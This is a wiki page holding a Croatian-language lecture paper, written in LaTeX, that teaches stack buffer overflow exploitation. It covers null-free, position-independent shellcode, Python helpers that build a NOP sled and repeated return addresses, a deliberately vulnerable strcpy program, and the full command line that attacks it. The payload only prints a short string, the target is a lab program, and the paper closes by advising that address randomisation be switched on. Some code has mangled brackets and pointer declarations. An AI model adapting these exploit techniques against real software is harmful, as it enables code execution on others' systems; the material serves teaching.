RazmjenaVjestina
BufferOverflow: Revision 4

attachment:conf_paper.pdf ili
kompajlirate sa pdflatex conf.tex

{{{

%conf.tex
\documentclass[a4paper, 10pt]{article}
\usepackage[croatian]{babel}
\author{Alan Pavi\v{c}i\'{c}\\ \textsf{akapav@gmail.com}}
\title{Buffer overflow}
\setlength{\parindent}{0pt}
\setlength{\parskip}{1ex plus 0.5ex minus 0.2ex}
\addtolength{\hoffset}{-1cm}
\begin{document}
\maketitle
\vspace{1cm}

U ovom papiru \'{c}emo pokazati osnovne tehnike {\it buffer overflow
exploita}. S obzirom da je papir prate\'{c}i materijal uz predavanje na
istu temu, izostavit \'{c}emo uvod u x86 asembler i {\it calling
convencije} o kojima \'{c}e biti rije\v{c}i u \v{z}ivo

Osnovna ideja ovakvih programa je da iskoriste memoriju alociranu na
{\it stacku} za nekakve korisni\v{c}ke podatke, te da u nju upi\v{s}u
vlastiti kod. Samo aktiviranje tog koda se radi tako da se pregazi
{\it return aresa}, podatak koji se tako\dj{}er nalazi na stacku i
slu\v{z}i da bi funkcije znale odakle su pozvane te kuda se moraju
vratiti. Umjesto originalne return adrese podme\'{c}e se neka druga,
na kojoj le\v{z}i uba\v{c}eni kod nakon \v{c}ega se mo\v{z}e
izvr\v{s}iti proizvoljna akcija sa pod istim onim ovlastima koje je
imao i vlasnik napadnutog programa

Akcija koju \'{c}emo mi izvr\v{s}avati prilikom ovog eksperimenta je
varijacija na temu popularnog hello worlda

Po\v{c}eti \'{c}emo sa vrlo malim hello world programom koji je
napisan u gcc-ovom inline asembleru, a pisanje na ekran radi preko
sistemskog poziva (primjetite da ovdje radi jednostavnosti sistemske
pozive radimo sa staromodnim $int$ $0x80$ umijesto pomo\'{c}u mnogo
br\v{z}eg $sysenter$a)

Pisanjem programa u asembleru i pozivima direktno u kernel dobivamo
manje i neovisnije programe koji \'{c}e se lak\v{s}e mo\'{c}i
izvr\v{s}avati na nepoznatim ra\v{c}unalima

\begin{verbatim}
int main(void)

{

  __asm__ (" \
            movl $3, %edx; \
            movl $LBL, %ecx; \
            movl $1, %ebx; \
            movl $4, %eax; \
            int $0x80; \
            movl $1, %eax; \
            int $0x80; \
LBL: .ascii \"aka\"; \
");
}
\end{verbatim}

Iako malen i jednostavan. prethodni program ima ozboljan problem -- naime
u liniji $movl LBL, \%ecx$ baratamo sa apsolutnom adresom, te
ovakav komad koda se ne mo\v{z}e izvr\v{s}avati na proizvoljnim
memorijskim lokacijama. Zbog toga isti program jo\v{s} jednom
prepisujemo, ali umjesto apsolutnog $movl$a, korisitmo relativne $jmp$
i $call$. Obratite pa\v{z}nju da se $call$ koristi za dohvat adrese
na kojoj se nalazi string
  

\begin{verbatim}
int main(void)

{

  __asm__ (" \
            jmp LBL; \
GO: pop %esi; \
            movl $3, %edx; \
            movl %esi, %ecx; \
            movl $1, %ebx; \
            movl $4, %eax; \
            int $0x80; \
            movl $1, %eax; \
            int $0x80; \
LBL: call GO; \
            .ascii \"akb\"; \
");
}
\end{verbatim}

Sad imamo rade\'{c}u {\it relokatibilnu} rutinu. Sljede\'{c}i korak je
izbaciti sve nule koje se nalaze u binarnom kodu napisanog
programa. Naime, s obzirom da \'{c}emo koristiti $strcpy$ funkciju za
ubacivanje na\v{s}eg bloka byteova, moramo se osigurati da kopiranje
ne stane prije nego smo planirali. Klasi\v{c}na tehnika punjenja neke
vrijednosti sa nula je da se ta vrijednost jednostavno $xor$a sa samom
sobom. Program izgleda malo slo\v{z}enije, ali je i poprimio svoj
kona\v{c}ni oblik

\begin{verbatim}
int main(void)

{

  __asm__ (" \
            jmp LBL; \
GO: pop %esi; \
            xor %edx, %edx; \
            movb $3, %dl; \
            movl %esi, %ecx; \
            xor %ebx, %ebx; \
            movb $1, %bl; \
            xor %eax, %eax; \
            movb $4, %al; \
            int $0x80; \
            xor %eax, %eax; \
            movb $1, %al; \
            int $0x80; \
LBL: call GO; \
            .ascii \"akc\"; \
");
\end{verbatim}

U datoteci {\it prog1.py} \'{c}emo jo\v{s} jednom napisati isti
program, samo umjesto standardnih simbola za asemblerske instrukcije,
koristimo numeri\v{c}ke vrijednosti spremljeno u jedno $python$
polje. Do samih vriednosti smo do\v{s}li koriste\'{c}i program
$objdump$

\begin{verbatim}
seq = [
    0xeb, 0x17, #jmp LBL
    #GO:
    0x5e, #pop %esi
    0x31, 0xd2, #xor %edx,%edx
    0xb2, 0x03, #mov $0x3,%dl
    0x89, 0xf1, #mov %esi,%ecx
    0x31, 0xdb, #xor %ebx,%ebx
    0xb3, 0x01, #mov $0x1,%bl
    0x31, 0xc0, #xor %eax,%eax
    0xb0, 0x04, #mov $0x4,%al
    0xcd, 0x80, #int $0x80
    0x31, 0xc0, #xor %eax,%eax
    0xb0, 0x01, #mov $0x1,%al
    0xcd, 0x80, #int $0x80
    #LBL:
    0xe8, 0xe4, 0xff, 0xff, 0xff, #callq GO
    0x61, 0x6b, 0x64
    ]
\end{verbatim}

{\it bindump.py} je program koji kao argument prima ime datoteke poput
prethodne, a generira binarni file na standardnom outputu (npr:
$python.py prog1$ gdje je $prog1$ ime prethodne datoteke)

\begin{verbatim}
#!/usr/bin/python -u

import array
import sys
import signal

signal.signal(signal.SIGPIPE, signal.SIG_DFL)

mdl = __import__(sys.argv[1])

arr = array.array("B")
arr.fromlist(mdl.seq);
arr.tofile(sys.stdout)
\end{verbatim}

Da bismo se uvjerili da sve do sada radi, pokrenimo sljede\'{c}i
program\v{c}i\'{c} i na standardni ulaz mu treba dati izlaz iz
$bindump.py$. Ukoliko je sve u redu, program \'{c}e dobivene byteove
spremiti na heap, te \'{c}e ih izvr\v{s}iti kao da su regularna
funkcija

\begin{verbatim}
#include <stdio.h>
#include <stdlib.h>

unsigned char* read_stream(FILE fp)
{
  static const size_t block_size = 1024;
  unsigned char
buff = NULL;
  int cnt = 0;
  do {
    buff = (unsigned char*)realloc(buff, (cnt + 1) * block_size);
    fread(buff + cnt++ * block_size, block_size, 1, fp);
  } while(!feof(fp));
  return buff;
}

int main(void)

{

  typedef void(*fun_t)(void);
  unsigned char *buff = read_stream(stdin);
  ((fun_t)(buff))();
  free(buff);
  return 0;
}
\end{verbatim}

Evo i "\v{z}rtve". Ovaj program \'{c}emo izvrgnuti napadu. Iako ovako
u laboratorijskim uvjetima izgleda vrlo naivno, strcpy iz velikog
buffera u ne\v{st}o manji se jo\v{s} uvijek mo\v{z}e na\'{c} i u
``stvarnom svijetu''

\begin{verbatim}
#include <stdio.h>
#include <string.h>

void broken_fun(const char* src)

{

  char dst[256];
  printf("len: %d\n", strlen(src));
  printf("%x\n", dst);
  strcpy(dst, src);
}

int main(void)

{

  char buff[512];
  fgets(buff, 512, stdin);
  broken_fun(buff);
  return 0;
}
\end{verbatim}

{\it seqgen.py} je jo\v{s} jedan pomo\'{c}ni program\v{c}i\'{c}. S
obzirom da prilikom poku\v{s}aja ubacivanja na\v{s}eg koda u tu\dj{}i
program nismo uvijek to\v{c}no sigurni gdje se nalazi po\v{c}etak memorije
u koju se useljavamo ili gdje se nalazi return adresa koju treba
promjeniti, ovaj program nam generira na osnovu `pravih'' bytova
koje \'{c}emo upotrebiti za exploit novu datoteku u kojoj se na
po\v{c}etku nalazi proizvoljan broj $nop$ instrukcija, a na kraju isto
tako proizvoljan broj return adresa. Sada nam
`poga\dj{}anje'' izgleda
puno lak\v{s}e

\begin{verbatim}
 #!/usr/bin/python -u

import sys
import array
import signal

signal.signal(signal.SIGPIPE, signal.SIG_DFL)

arr = array.array("B")
arr.fromlist(0x90 for _ in range(int(sys.argv[1))]);
arr.tofile(sys.stdout)

sys.stdout.write(sys.stdin.read())

arr = array.array("L")
arr.fromlist(int(sys.argv[2, 16) for _ in range(int(sys.argv[3]))])
arr.append(0x0a0a0a0a)
arr.tofile(sys.stdout)
\end{verbatim}

Kao ulazne argumente skripta uzima 3 broja -- broj $nop$ova prije rutine
za napad, vrijednost nove return adrese te koliko puta \'{c}emo tu
adresu upisati na stack. Rutinu za napad prima sa standardnog ulaza i
samo je prepisuje na izlaz

Ukoliko program \v{z}rtvu'' iskompajliramo sa
\begin{verbatim}
gcc ovfl.c -O -g -o ovfl
\end{verbatim}
pokretanje napada se moze napraviti sa npr.
\begin{verbatim}
./bindump.py prog1 | ./seqgen.py 103 0xbffff102 50 | ./ovfl
\end{verbatim}
Ukoliko ne pro\dj{}e iz prve, return adresu treba na\v{s}timati tako
da bude ne\v{s}to ve\'{c}a nego po\v{c}etak bufera (broj koji se
ispisuje iz $ovfl$ programa)

Ako vam je eksperiment uspio zna\v{c}i da nemate dobro pode\v{s}en
sustav, te kao root otkucajte
\begin{verbatim}
echo 1 > /proc/sys/kernel/randomize_va_space
\end{verbatim}
i eksperiment sada ponovite ;)

\end{document}

}}}